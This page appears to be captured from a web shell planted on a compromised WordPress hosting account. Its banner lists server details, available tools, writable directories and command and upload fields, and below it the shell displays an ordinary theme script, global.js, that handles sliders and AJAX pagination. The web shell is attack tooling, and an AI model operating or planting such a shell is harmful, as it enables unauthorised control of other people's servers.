403Webshell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.222
Web Server : Apache
System : Linux webm005.cluster103.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : karinebmkh ( 644538)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/karinebmkh/www2/wp-content/themes/glaza/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/karinebmkh/www2/wp-content/themes/glaza/assets/js/global.js
/*--------------------------------------------------------------
 GLAZA MAN SCRIPT
 --------------------------------------------------------------*/
(function($) {

    'use strict';

    var glaza = {
        body: $('body'),
        html: $('html, body'),
        window: $(window),
        document: $(document),
        ios: /(iPad|iPhone|iPod)/g.test(navigator.userAgent),

        slider_infinite: false,
        slider_dot: true,
        slider_prev: '<span class="slider-nav prev"><i class="icon-simple icon-arrow-left"></i></span>',
        slider_next: '<span class="slider-nav next"><i class="icon-simple icon-arrow-right"></i></span>',
        ajax: {},
        waypoint_item: [],

        document_ready: function() {
            this.block_slider_1();
            this.block_slider_2();
            this.block_slider_3();
            this.share_action();
            this.post_gallery_slider();
            this.comment_box();
            this.scroll_to_comment_box();
            this.scroll_to_shop();
            this.single_review();
            this.ajax_init();
            this.shop_post_popup();
            this.shop_quantity();
            this.navbar_search_toggle();
            this.sticky_navigation();
            this.sticky_sidebar();
            this.tooltips();
            this.off_canvas_toggle();
            this.back_top();
            this.embed_responsive();
            this.product_slider();
            this.iframe_autoplay();
        },

        document_reload: function() {
            this.smooth_display();
            this.post_effect();
            this.ajax_quick_filter();
            this.ajax_loadmore();
            this.ajax_next_prev();
            this.ajax_infinite();
            this.body_refresh();
        },


        reinitiate_function: function() {
            glaza.html.off();
            glaza.document.off();
            glaza.window.trigger('load');
            glaza.document_reload();
        },

        get_rtl: function() {
            return this.body.hasClass('rtl');
        },

        slider_play: function() {
            return glaza.body.data('slider_play');
        },

        slider_speed: function() {
            return glaza.body.data('slider_speed');
        },


        body_refresh: function() {
            glaza.body.imagesLoaded(function() {
                Waypoint.refreshAll();
            })
        },


        share_action: function() {
            $('.share-action').on('click', function(e) {
                e.preventDefault();
                window.open($(this).attr('href'), '_blank', 'width=600, height=350');
                return false;
            })
        },


        sticky_sidebar: function() {
            glaza.body.imagesLoaded(function() {
                var sidebars = $('.sidebar-sticky');
                if (sidebars.length > 0) {
                    ruby_sticky_sidebar.stick(sidebars);

                    if (true == glaza.ios || (glaza.window.width() < 1024 && true == glaza.touch)) {
                        ruby_sticky_sidebar.is_enable = false;
                    } else {
                        if (glaza.window.width() < 922) {
                            ruby_sticky_sidebar.is_enable = false;
                        }
                        glaza.window.resize(function() {
                            if (glaza.window.width() >= 922) {
                                ruby_sticky_sidebar.is_enable = true;
                            }
                        })
                    }
                }
            });
        },


        block_slider_1: function() {
            var elements = $('.block-slider-1');
            var slider_config = {
                dots: glaza.slider_dot,
                autoplay: glaza.slider_play(),
                autoplaySpeed: glaza.slider_speed(),
                speed: 800,
                fade: true,
                adaptiveHeight: false,
                infinite: glaza.slider_infinite,
                arrows: true,
                rtl: glaza.get_rtl(),
                prevArrow: glaza.slider_prev,
                nextArrow: glaza.slider_next
            };

            if (elements.length > 0) {
                elements.each(function() {

                    var el = $(this);
                    el.on('init', function() {
                        el.prev('.load-animation').fadeOut(150, function() {
                            $(this).remove();
                            el.removeClass('pre-load');
                        });
                    });

                    el.slick(slider_config);
                })
            }
        },


        block_slider_2: function() {
            var elements = $('.block-slider-2');

            var slider_config = {
                dots: glaza.slider_dot,
                autoplay: glaza.slider_play(),
                autoplaySpeed: glaza.slider_speed(),
                speed: 400,
                adaptiveHeight: false,
                infinite: glaza.slider_infinite,
                arrows: true,
                rtl: glaza.get_rtl(),
                slidesToShow: 5,
                slidesToScroll: 3,
                prevArrow: glaza.slider_prev,
                nextArrow: glaza.slider_next,
                responsive: [
                    {
                        breakpoint: 1400,
                        settings: {
                            slidesToShow: 4,
                            slidesToScroll: 3
                        }
                    },
                    {
                        breakpoint: 992,
                        settings: {
                            slidesToShow: 3,
                            slidesToScroll: 3
                        }
                    },
                    {
                        breakpoint: 768,
                        settings: {
                            slidesToShow: 1,
                            slidesToScroll: 1
                        }
                    }
                ]
            };

            if (elements.length > 0) {
                elements.each(function() {

                    var el = $(this);
                    el.on('init', function() {
                        el.prev('.load-animation').fadeOut(150, function() {
                            $(this).remove();
                            el.removeClass('pre-load');
                        });
                    });

                    el.slick(slider_config);
                })
            }
        },


        block_slider_3: function() {
            var elements = $('.block-slider-3');

            var slider_config = {
                dots: glaza.slider_dot,
                autoplay: glaza.slider_play(),
                autoplaySpeed: glaza.slider_speed(),
                speed: 400,
                adaptiveHeight: false,
                infinite: true,
                arrows: true,
                rtl: glaza.get_rtl(),
                slidesToShow: 1,
                slidesToScroll: 1,
                centerPadding: '400px',
                centerMode: true,
                prevArrow: glaza.slider_prev,
                nextArrow: glaza.slider_next,
                responsive: [
                    {
                        breakpoint: 1600,
                        settings: {
                            centerMode: true,
                            dots: true,
                            arrows: true,
                            slidesToShow: 1,
                            slidesToScroll: 1,
                            centerPadding: '280px'
                        }
                    },
                    {
                        breakpoint: 1400,
                        settings: {
                            dots: true,
                            centerMode: true,
                            slidesToShow: 1,
                            slidesToScroll: 1,
                            centerPadding: '210px'
                        }
                    },
                    {
                        breakpoint: 1200,
                        settings: {
                            dots: true,
                            arrows: true,
                            centerMode: true,
                            slidesToShow: 1,
                            slidesToScroll: 1,
                            centerPadding: '180px'
                        }
                    },
                    {
                        breakpoint: 992,
                        settings: {
                            dots: true,
                            arrows: true,
                            centerMode: true,
                            slidesToShow: 1,
                            slidesToScroll: 1,
                            centerPadding: '120px'

                        }
                    },
                    {
                        breakpoint: 768,
                        settings: {
                            dots: true,
                            centerMode: true,
                            arrows: false,
                            slidesToShow: 1,
                            slidesToScroll: 1,
                            centerPadding: '40px'
                        }
                    },
                    {
                        breakpoint: 480,
                        settings: {
                            dots: true,
                            arrows: false,
                            centerMode: true,
                            slidesToShow: 1,
                            slidesToScroll: 1,
                            centerPadding: '10px'
                        }
                    }


                ]
            };

            if (elements.length > 0) {
                elements.each(function() {

                    var el = $(this);
                    el.on('init', function() {
                        el.prev('.load-animation').fadeOut(150, function() {
                            $(this).remove();
                            el.removeClass('pre-load');
                        });
                    });

                    el.slick(slider_config);
                })
            }
        },


        shop_post_popup: function() {
            var elements = $('.shop-post-toggle');
            if (elements.length > 0) {
                elements.each(function() {
                    var el = $(this);

                    el.magnificPopup({
                        type: 'inline',
                        preloader: false,
                        focus: '#name',
                        closeBtnInside: true,
                        removalDelay: 250,
                        callbacks: {
                            beforeOpen: function() {
                                this.st.mainClass = 'mpf-effect';
                            },
                            open: function() {
                                var products = this.content.find('.shop-content-popup');
                                setTimeout(function() {
                                    glaza.shop_post_carousel(products);
                                }, 200);
                            },
                            close: function() {
                                var products = this.content.find('.shop-content-popup');
                                if (products.hasClass('slick-initialized')) {
                                    products.slick('unslick');
                                    products.addClass('pre-load');
                                    products.before('<div class="load-animation"></div>');
                                }
                            }
                        }
                    });

                })
            }
        },


        shop_post_carousel: function(products) {

            var columns = products.data('carousel');
            if (typeof (columns) == undefined) {
                columns = 5;
            }

            if (products.hasClass('slick-initialized')) {
                products.slick('unslick');
            }

            products.on('init', function() {
                products.imagesLoaded(function() {
                    products.prev('.load-animation').fadeOut(150, function() {
                        $(this).remove();
                        products.removeClass('pre-load');
                    });
                });
            });

            products.slick({
                dots: false,
                autoplay: glaza.slider_play(),
                autoplaySpeed: glaza.slider_speed(),
                speed: 400,
                adaptiveHeight: false,
                infinite: glaza.slider_infinite,
                slidesToShow: columns,
                slidesToScroll: columns,
                rtl: glaza.get_rtl(),
                arrows: true,
                prevArrow: glaza.slider_prev,
                nextArrow: glaza.slider_next
            });
        },


        product_slider: function() {
            var elements = $('.content-carousel .products');
            var columns = elements.parent('.content-carousel').data('columns');
            if (!columns) {
                columns = 4;
            }

            var slider_config = {
                dots: glaza.slider_dot,
                autoplay: false,
                autoplaySpeed: glaza.slider_speed(),
                speed: 400,
                adaptiveHeight: false,
                infinite: true,
                arrows: true,
                rtl: glaza.get_rtl(),
                slidesToShow: columns,
                slidesToScroll: columns,
                prevArrow: glaza.slider_prev,
                nextArrow: glaza.slider_next,
                responsive: [
                    {
                        breakpoint: 992,
                        settings: {
                            slidesToShow: 3,
                            slidesToScroll: 3
                        }
                    },
                    {
                        breakpoint: 768,
                        settings: {
                            slidesToShow: 2,
                            slidesToScroll: 2
                        }
                    }
                ]
            };

            if (elements.length > 0) {
                elements.each(function() {

                    var el = $(this);
                    el.on('init', function() {
                        var wrap = el.parents('.content-carousel');
                        wrap.find('.load-animation').fadeOut(150, function() {
                            $(this).remove();
                            wrap.removeClass('product-pre-load');
                        });
                    });

                    el.slick(slider_config);
                })
            }
        },


        shop_quantity: function() {
            glaza.body.on('click', '.quantity .quantity-btn', function(e) {

                e.preventDefault();

                var button = $(this);
                var step = 1;
                var input = button.parent().find('input');
                var min = 1;
                var max = 9999;
                var value_old = parseInt(input.val());
                var value_new = parseInt(input.val());

                if (input.attr('step')) {
                    step = parseInt(input.attr('step'));
                }

                if (input.attr('min')) {
                    min = parseInt(input.attr('min'));
                }

                if (input.attr('max')) {
                    max = parseInt(input.attr('max'));
                }

                if (button.hasClass('up')) {
                    if (value_old < max) {
                        value_new = value_old + step;
                    } else {
                        value_new = max;
                    }
                } else if (button.hasClass('down')) {
                    if (value_old > min) {
                        value_new = value_old - step;
                    } else {
                        value_new = min;
                    }
                }

                if (!input.attr('disabled')) {
                    input.val(value_new).change();
                }
            });
        },


        post_gallery_slider: function() {
            var elements = $('.gallery-slider').find('.post-thumb');

            var slider_config = {
                dots: glaza.slider_dot,
                autoplay: glaza.slider_play(),
                autoplaySpeed: glaza.slider_speed(),
                speed: 800,
                fade: true,
                adaptiveHeight: false,
                infinite: glaza.slider_infinite,
                arrows: true,
                rtl: glaza.get_rtl(),
                prevArrow: glaza.slider_prev,
                nextArrow: glaza.slider_next
            };

            if (elements.length > 0) {
                elements.each(function() {

                    var el = $(this);
                    el.on('init', function() {
                        el.prev('.load-animation').fadeOut(150, function() {
                            $(this).remove();
                            el.removeClass('pre-load');
                        });
                    });

                    el.slick(slider_config);
                })
            }
        },

        comment_box: function() {
            var btn = $('#comment-action');
            if (btn.length > 0) {
                var wrap = btn.parent('.comment-btn-wrap');
                var meta = btn.parents('.single-wrap').find('.single-meta-info .meta-info-comment');
            }

            btn.on('click', function() {
                glaza.show_comment_box(btn, wrap);
                return false;
            });
        },

        scroll_to_comment_box: function() {
            var btn = $('#comment-action');
            if (btn.length > 0) {
                var hash = window.location.hash;
                if ('#respond' == hash || '#comment' == hash.substring(0, 8)) {
                    var wrap = btn.parent('.comment-btn-wrap');
                    glaza.html.scrollTop(wrap.offset().top);
                    glaza.show_comment_box(btn, wrap);
                    return false;
                }
            }
        },

        show_comment_box: function(btn, wrap) {
            btn.fadeOut(200, function() {
                btn.remove();
                wrap.removeClass('is-hidden').css('display', 'block');
            });
        },

        scroll_to_shop: function() {
            var shop = $('#shopthepost');
            if (shop.length > 0) {
                var hash = window.location.hash;
                if ('#shopthepost' == hash) {
                    glaza.html.scrollTop(shop.offset().top);
                    return false;
                }
            }
        },

        single_review: function() {
            var progress_bar = $('.score-bar');
            progress_bar.each(function() {
                var bar = $(this);
                bar.waypoint({
                        handler: function() {
                            bar.removeClass('score-remove');
                            bar.addClass('score-animation');
                        },
                        offset: '90%'
                    }
                )
            });
        },


        iframe_autoplay: function() {
            var autoplay = $('.is-autoplay');
            if (autoplay.length > 0) {
                autoplay.each(function() {
                    var autoplay_el = $(this);
                    glaza.waypoint_item['iframe'] = new Waypoint({
                        element: autoplay_el,
                        handler: function() {
                            var iframe = autoplay_el.find('iframe');
                            glaza.iframe_autoplay_process(iframe);
                            autoplay_el.removeClass('is-autoplay');
                            this.destroy();
                        },
                        offset: '90%'
                    });
                })
            }
        },

        iframe_autoplay_process: function(item) {
            if (item.length > 0 && 'undefined' != item[0]) {
                var src = item[0].src;
                if (src.indexOf('?') > -1) {
                    item[0].src += "&autoplay=1";
                } else {
                    item[0].src += "?autoplay=1";
                }
            }
        },


        navbar_search_toggle: function() {
            glaza.body.on('click', '#navbar-search-icon', function(e) {
                e.preventDefault();
                $(this).next('.navbar-search-outer').toggleClass('is-show');
            })
        },

        off_canvas_toggle: function() {
            var off_canvas_btn = $('#off-canvas-trigger');
            var btn_close = $('#off-canvas-close-btn');
            var site_mask = $('.site-mask');

            off_canvas_btn.on('click', function() {
                glaza.body.toggleClass('mobile-js-menu');
                return false;
            });

            site_mask.on('click', function() {
                glaza.body.toggleClass('mobile-js-menu');
                return false;
            });

            btn_close.on('click', function() {
                glaza.body.toggleClass('mobile-js-menu');
                return false;
            });

            var off_canvas_nav = $('.off-canvas-menu-inner');
            var off_canvas_nav_sub_a = off_canvas_nav.find('li.menu-item-has-children >a');
            off_canvas_nav_sub_a.append('<span class="explain-menu"><span class="explain-menu-inner"><i class="fa fa-angle-down" aria-hidden="true"></i></span></span>');
            var explain_mobile_menu = $('.explain-menu');
            explain_mobile_menu.on('click', function() {
                $(this).closest('.menu-item-has-children ').toggleClass('show-sub-menu');
                return false;
            });
        },


        sticky_navigation: function() {
            if (glaza.body.hasClass('is-navbar-sticky')) {

                var top_spacing = 0;
                if (glaza.body.hasClass('admin-bar')) {
                    top_spacing = 32;
                }

                var sticky_menu = $('.navbar-outer');
                var menu_wrap = sticky_menu.find('.navbar-wrap');
                var menu_height = menu_wrap.height();

                sticky_menu.css('min-height', menu_height);
                glaza.window.resize(function() {
                    menu_height = menu_wrap.height();
                    sticky_menu.css('min-height', menu_height);
                });

                if (glaza.body.hasClass('is-smart-sticky')) {
                    menu_wrap.sticky({
                        className: 'is-stick',
                        topSpacing: top_spacing,
                        smartSticky: true,
                        menuOuter: '.navbar-outer',
                        zIndex: 9800
                    });
                } else {
                    menu_wrap.sticky({
                        className: 'is-stick',
                        topSpacing: top_spacing,
                        zIndex: 9800
                    });
                }

                if (glaza.body.hasClass('is-smart-sticky')) {
                    menu_wrap.on('sticky-start', function() {

                        var flag_up = true;
                        var flag_down = true;
                        menu_height = menu_wrap.height();

                        glaza.window.bind('scroll.ruby_menu_sticky', function() {
                            window.requestAnimFrame(function() {
                                var scroll_top = glaza.window.scrollTop();
                                if (scroll_top !== glaza.window_last_pos) {
                                    if (scroll_top > glaza.window_last_pos) {
                                        glaza.direction = 'down';
                                    } else {
                                        glaza.direction = 'up';
                                    }
                                    glaza.window_last_pos = scroll_top;
                                }

                                if (true === flag_down && 'down' == glaza.direction) {
                                    menu_wrap.css({
                                        '-webkit-transform': 'translate3d(0px,' + '-' + menu_height + 'px, 0px)',
                                        '-moz-transform': 'translate3d(0px,' + '-' + menu_height + 'px, 0px)',
                                        'transform': 'translate3d(0px,' + '-' + menu_height + 'px, 0px)',
                                        '-webkit-transition': 'transform 0.05s',
                                        '-moz-transition': 'transform 0.05s',
                                        'transition': 'transform 0.05s'
                                    });

                                    flag_down = false;
                                    flag_up = true;
                                }

                                if (true === flag_up && 'up' == glaza.direction) {
                                    menu_wrap.css({
                                        '-webkit-transform': 'translate3d(0px, 0px, 0px)',
                                        '-moz-transform': 'translate3d(0px, 0px, 0px)',
                                        'transform': 'translate3d(0px, 0px, 0px)',
                                        '-webkit-transition': 'transform 0.07s',
                                        '-moz-transition': 'transform 0.07s',
                                        'transition': 'transform 0.07s'
                                    });

                                    flag_down = true;
                                    flag_up = false;
                                }
                            })
                        });
                    });

                    menu_wrap.on('sticky-end', function() {
                        glaza.window.unbind('scroll.ruby_menu_sticky');
                        menu_wrap.css({
                            '-webkit-transform': 'none',
                            '-moz-transform': 'none',
                            'transform': 'none',
                            '-webkit-transition': 'none',
                            '-moz-transition': 'none',
                            'transition': 'none'
                        });
                    });
                }
            }
        },


        tooltips: function() {
            if (glaza.body.hasClass('is-tooltips') && false === glaza.ios) {
                if (glaza.body.hasClass('is-tooltips-touch')) {
                    if (false === glaza.ios) {
                        glaza.tooltips_process()
                    }
                } else {
                    glaza.tooltips_process()
                }
            }
        },

        tooltips_process: function() {
            var tooltips_n = $('.tooltips-n');
            var tooltips_w = $('.tooltips-w');
            var tooltips_s = $('.tooltips-s');
            var tooltips_cart = $('.cart-tooltips .add-to-cart');
            var tooltips_wishlist = $('.cart-tooltips .add_to_wishlist');
            var direct_e = 'e';
            var direct_w = 'w';

            if (glaza.get_rtl()) {
                direct_e = 'w';
                direct_w = 'e';
            }

            tooltips_n.find('a').tipsy({ fade: true, opacity: 1, gravity: 'n' });
            tooltips_w.find('a').tipsy({ fade: true, opacity: 1, gravity: direct_w });
            tooltips_s.find('a').tipsy({ fade: true, opacity: 1, gravity: 's' });

            tooltips_cart.tipsy({
                fade: true, opacity: 1, gravity: direct_e, title: function() {
                    var added = $(this).find('.added_to_cart');
                    if (added.length > 0) {
                        return added.text();
                    }
                    return $(this).find('.ajax_add_to_cart').text();
                }
            });

            tooltips_wishlist.tipsy({
                fade: true, opacity: 1, gravity: direct_e, title: function() {
                    return $(this).text();
                }
            });
        },

        back_top: function() {
            if (glaza.body.hasClass('is-back-top')) {
                $().UItoTop({
                    containerID: 'back-top',
                    easingType: 'easeOutQuart',
                    text: '<i class="icon-simple icon-arrow-up"></i>',
                    containerHoverID: 'back-top-inner',
                    scrollSpeed: 800
                });
            }
        },

        embed_responsive: function() {
            if (glaza.body.hasClass('is-embed-responsive')) {
                var entry = $('.single-entry.entry, .textwidget');
                if (entry.length > 0) {
                    entry.each(function() {
                        var entry_el = $(this);
                        if (!entry_el.hasClass('iframe-loaded')) {
                            entry_el.fitVids();
                            entry_el.addClass('iframe-loaded')
                        }
                    })
                }
            }
        },

        smooth_display: function() {
            if (glaza.body.hasClass('is-smooth-display')) {
                $('.animated-image').each(function() {
                    var that = $(this);
                    if (!that.hasClass('animated-loaded')) {
                        var delay = (that.offset().left / 3.5);
                        that.waypoint({
                            handler: function() {
                                setTimeout(function() {
                                    that.addClass('animation animated-loaded');
                                }, delay);
                            },
                            offset: '110%',
                            triggerOnce: true
                        });
                    }
                })
            }
        },

        post_effect: function() {
            var elements = $('.post-thumb, .post-btn, .post-title');
            elements.on('mouseenter', function() {
                $(this).closest('.post-wrap').addClass('post-hover');
            });
            elements.on('mouseleave', function() {
                $(this).closest('.post-wrap').removeClass('post-hover');
            })
        },

        ////////////////////////////////////AJAX/////////////////////////////////
        ajax_cache: {

            data: {},

            get: function(id) {
                return glaza.ajax_cache.data[id];
            },
            set: function(id, data) {
                glaza.ajax_cache.remove(id);
                glaza.ajax_cache.data[id] = data;
            },
            remove: function(id) {
                delete glaza.ajax_cache.data[id];
            },
            exist: function(id) {
                return glaza.ajax_cache.data.hasOwnProperty(id) && glaza.ajax_cache.data[id] !== null;
            }
        },

        ajax_init: function() {
            $('.block-wrap').each(function() {
                var block = $(this);
                var block_id = block.attr('id');

                if ('undefined' != typeof block_id) {
                    glaza.ajax[block_id + '_category'] = block.data('category');
                    glaza.ajax[block_id + '_categories'] = block.data('categories');
                    glaza.ajax[block_id + '_tags'] = block.data('tags');
                    glaza.ajax[block_id + '_orderby'] = block.data('orderby');
                }

                glaza.ajax_check_pagination(block);

            })
        },

        ajax_get_data: function(block) {
            return {
                block_id: block.data('block_id'),
                block_name: block.data('block_name'),
                posts_per_page: block.data('posts_per_page'),
                quick_filter: block.data('quick_filter'),
                page_max: block.data('page_max'),
                page_current: block.data('page_current'),
                category: block.data('category'),
                categories: block.data('categories'),
                orderby: block.data('orderby'),
                author: block.data('author'),
                tags: block.data('tags'),
                post_format: block.data('post_format'),
                offset: block.data('offset'),
                excerpt: block.data('excerpt'),
                readmore: block.data('readmore'),
                summary: block.data('summary'),
                post_columns: block.data('post_columns'),
                shopthepost: block.data('shopthepost'),
                product_columns: block.data('product_columns'),
                layout: block.data('layout'),
                sidebar_position: block.data('sidebar_position'),
                related_post_id: block.data('related_post_id'),
                security: block.data('security')
            };
        },

        ajax_check_pagination: function(block) {

            var settings = glaza.ajax_get_data(block);

            if (settings.page_current >= settings.page_max || settings.page_max <= 1) {
                block.find('.loadmore-link').hide();
                block.find('.loadmore-animation').hide();
                block.find('.pagination-infinite').addClass('disable-scroll');
            } else {
                block.find('.loadmore-link').show();
                block.find('.loadmore-link').css('opacity', 1);
                block.find('.loadmore-animation').hide();
                block.find('.pagination-infinite').removeClass('disable-scroll');
            }

            if (settings.page_max < 2) {
                block.find('.pagination-link').addClass('is-disable');
            }
            if (settings.page_current >= settings.page_max) {
                block.find('.ajax-next').addClass('is-disable');
            }
            if (settings.page_current <= 1) {
                block.find('.ajax-prev').addClass('is-disable');
            }
        },

        ajax_filter_reset_settings: function(block, settings, link_val) {

            var block_id = block.attr('id');

            settings.page_current = 1;
            block.data('page_current', 1);

            if ('category' == settings.quick_filter) {
                if ('undefined' == typeof (glaza.ajax[block_id + '_category'])) {
                    glaza.ajax[block_id + '_category'] = 0;
                }

                if (0 == link_val) {
                    settings.category = glaza.ajax[block_id + '_category'];
                    settings.categories = glaza.ajax[block_id + '_categories'];

                    block.data('category', glaza.ajax[block_id + '_category']);
                    block.data('categories', glaza.ajax[block_id + '_categories']);

                } else {
                    settings.category = link_val;
                    settings.categories = 0;

                    block.data('category', link_val);
                    block.data('categories', 0);
                }
            }

            if ('tag' == settings.quick_filter) {
                settings.tags = link_val;
                block.data('tags', link_val);
            }

            if ('author' == settings.quick_filter) {
                settings.author = link_val;
                block.data('author', link_val);
            }

            if ('popular' == settings.quick_filter) {

                block.data('orderby_term', block.data('orderby'));

                if ('featured' == link_val) {
                    settings.tags = 'featured';
                    settings.orderby = 'date_post';
                    block.data('tags', 'featured');
                    block.data('orderby', 'date_post');
                }

                if ('popular' == link_val) {
                    settings.tags = null;
                    settings.orderby = 'popular';
                    block.data('orderby', 'popular');
                    block.data('tags', '');
                }

                if (0 == link_val) {

                    settings.tags = glaza.ajax[block_id + '_tags'];
                    settings.orderby = glaza.ajax[block_id + '_orderby'];

                    if ('undefined' == typeof glaza.ajax[block_id + '_tags']) {
                        block.data('tags', '');
                    } else {
                        block.data('tags', glaza.ajax[block_id + '_tags']);
                    }
                    block.data('orderby', glaza.ajax[block_id + '_orderby']);
                }
            }
        },

        ///////////////////////////////QUICK FILTER////////////////////////////////
        ajax_quick_filter: function() {
            $('.smart-filter-link').off('click').on('click', function(e) {

                e.preventDefault();
                e.stopPropagation();

                var link = $(this);
                var block = link.parents('.block-wrap');
                var block_id = block.attr('id');

                if (true == glaza.ajax[block_id + '_processing']) {
                    return;
                }
                glaza.ajax[block_id + '_processing'] = true;

                var link_val = link.data('ajax_filter_val');

                block.find('.filter-link').removeClass('is-active');
                block.find('.filter-link').not(this).addClass('is-deactivate');
                link.addClass('is-active');

                glaza.animation_start(block, 'replace');

                var settings = glaza.ajax_get_data(block);

                glaza.ajax_filter_reset_settings(block, settings, link_val);

                setTimeout(function() {
                    glaza.ajax_quick_filter_process(block, settings);
                }, 400);

            });
        },

        ajax_quick_filter_process: function(block, settings) {

            var settings_cache = settings;
            delete settings_cache.page_max;

            var cache_id = JSON.stringify(settings_cache);

            if (glaza.ajax_cache.exist(cache_id)) {

                var data = glaza.ajax_cache.get(cache_id);

                if ('undefined' != data.page_max) {
                    block.data('page_max', data.page_max);
                }

                glaza.animation_end(block, data.content, 'replace');

                return false;
            } else {
                $.ajax({
                    type: 'POST',
                    url: glaza_params.ajaxurl,
                    data: {
                        action: 'glaza_ajax_quick_filter',
                        data: settings
                    },
                    success: function(data) {

                        data = $.parseJSON(JSON.stringify(data));
                        if ('undefined' != data.page_max) {
                            block.data('page_max', data.page_max);
                        }
                        glaza.ajax_cache.set(cache_id, data);
                        glaza.animation_end(block, data.content, 'replace');
                    }
                });
            }
        },


        ///////////////////////////////AJAX PAGINATION////////////////////////////////
        ajax_loadmore: function() {
            $('.loadmore-link').off('click').on('click', function(e) {

                e.preventDefault();
                e.stopPropagation();

                var link = $(this);
                var block = link.parents('.block-wrap');
                var block_id = block.attr('id');
                if (true == glaza.ajax[block_id + '_processing']) {
                    return;
                }

                var settings = glaza.ajax_get_data(block);
                if (settings.page_current >= settings.page_max) {
                    return;
                }

                glaza.ajax[block_id + '_processing'] = true;

                glaza.animation_start(block, 'append');
                glaza.ajax_loadmore_process(block, settings);

            })
        },


        ajax_loadmore_process: function(block, settings) {

            var page_current = settings.page_current;
            var page_next = ++page_current;

            settings.page_next = page_next;

            if (page_next <= settings.page_max) {

                $.ajax({
                    type: 'POST',
                    url: glaza_params.ajaxurl,
                    data: {
                        action: 'glaza_ajax_pagination',
                        data: settings
                    },

                    success: function(data) {
                        data = $.parseJSON(JSON.stringify(data));

                        if ('undefined' != data.page_current) {
                            block.data('page_current', data.page_current);
                        }

                        glaza.animation_end(block, data.content, 'append');
                    }
                });
            }
        },

        ajax_next_prev: function() {
            $('.pagination-link').off('click').on('click', function(e) {

                e.preventDefault();
                e.stopPropagation();

                var link = $(this);
                var block = link.parents('.block-wrap');
                var block_id = block.attr('id');

                if (true == glaza.ajax[block_id + '_processing']) {
                    return;
                }

                glaza.ajax[block_id + '_processing'] = true;

                var type = link.data('ajax_pagination_link');
                var settings = glaza.ajax_get_data(block);

                glaza.animation_start(block, 'replace');
                glaza.ajax_next_prev_process(block, settings, type);
            });
        },

        ajax_next_prev_process: function(block, settings, type) {

            var page_current = settings.page_current;
            if ('prev' == type) {
                --page_current;
            } else {
                ++page_current
            }

            settings.page_next = page_current;
            var settings_cache = settings;
            delete settings_cache.page_max;
            settings_cache.page_current = page_current;

            var cache_id = JSON.stringify(settings_cache);

            if (glaza.ajax_cache.exist(cache_id)) {

                var data = glaza.ajax_cache.get(cache_id);

                if ('undefined' != data.page_current) {
                    block.data('page_current', data.page_current);
                }
                glaza.animation_end(block, data.content, 'replace');
                return false;
            } else {
                $.ajax({
                    type: 'POST',
                    url: glaza_params.ajaxurl,
                    data: {
                        action: 'glaza_ajax_pagination',
                        data: settings
                    },
                    success: function(data) {

                        data = $.parseJSON(JSON.stringify(data));

                        if ('undefined' != data.page_current) {
                            block.data('page_current', data.page_current);
                        }

                        glaza.ajax_cache.set(cache_id, data);
                        glaza.animation_end(block, data.content, 'replace');
                    }
                });
            }
        },


        ajax_infinite: function() {
            var infinite_scroll = $('.pagination-infinite');
            if (infinite_scroll.length > 0) {
                infinite_scroll.each(function() {
                    var infinite_scroll_el = $(this);
                    if (!infinite_scroll_el.hasClass('disable-scroll')) {

                        var animation = infinite_scroll_el.find('.loadmore-animation');
                        var block = infinite_scroll_el.parents('.block-wrap');
                        var block_id = block.attr('id');
                        var settings = glaza.ajax_get_data(block);

                        if (infinite_scroll_el.length > 0) {
                            glaza.waypoint_item['infinite_scroll'] = new Waypoint({
                                element: infinite_scroll_el,
                                handler: function(direction) {
                                    if ('down' == direction) {

                                        if (true == glaza.ajax[block_id + '_processing']) {
                                            return;
                                        }

                                        glaza.ajax[block_id + '_processing'] = true;

                                        glaza.animation_start(block, 'append');
                                        glaza.ajax_loadmore_process(block, settings);

                                        setTimeout(function() {
                                            glaza.waypoint_item['infinite_scroll'].destroy();
                                        }, 100);

                                    }
                                },
                                offset: '99%'
                            })
                        }
                    }
                });
            }
        },


        ///////////////////////////////AJAX ANIMATION ////////////////////////////////
        animation_start: function(block, type) {

            var wrapper = block.find('.content-wrap');
            var inner = wrapper.find('.content-inner');

            block.find('.ajax-link').addClass('is-disable');

            inner.stop();

            if ('replace' == type) {
                inner.css('height', inner.outerHeight());
                wrapper.prepend('<div class="load-animation">');
                inner.addClass('is-overflow');
                inner.fadeTo('200', 0.05);

            } else {
                block.find('.loadmore-link').addClass('loading').animate({ opacity: 0 }, 200);
                block.find('.loadmore-animation').css({ 'display': 'block' }).delay(300).animate({ opacity: 1 }, 200);
            }
        },


        animation_end: function(block, content, type) {

            block.delay(100).queue(function() {

                var block_id = block.attr('id');
                var wrapper = block.find('.content-wrap');
                var inner = block.find('.content-inner');

                block.find('.filter-link').removeClass('is-deactivate');
                block.find('.ajax-link').removeClass('is-disable');

                inner.stop();

                if ('replace' == type) {
                    wrapper.find('.load-animation').remove();
                    inner.html(content);
                    inner.removeClass('is-overflow');
                    inner.css('height', 'auto');
                    inner.fadeTo(300, 1);

                } else {
                    inner.append(content);
                    block.find('.loadmore-animation').animate({ opacity: 0 }, 200, function() {
                        $(this).css({ 'display': 'none' });
                    });
                    block.find('.loadmore-link').removeClass('loading').delay(300).animate({ opacity: 1 }, 200);
                }

                glaza.ajax[block_id + '_processing'] = false;

                glaza.ajax_check_pagination(block);

                block.dequeue();

                setTimeout(function() {
                    glaza.reinitiate_function();
                }, 50);
            });
        }

    };

    $(document).ready(function() {
        glaza.document_ready();
        glaza.document_reload();

    });

})(jQuery);


Youez - 2016 - github.com/yon3zu
LinuXploit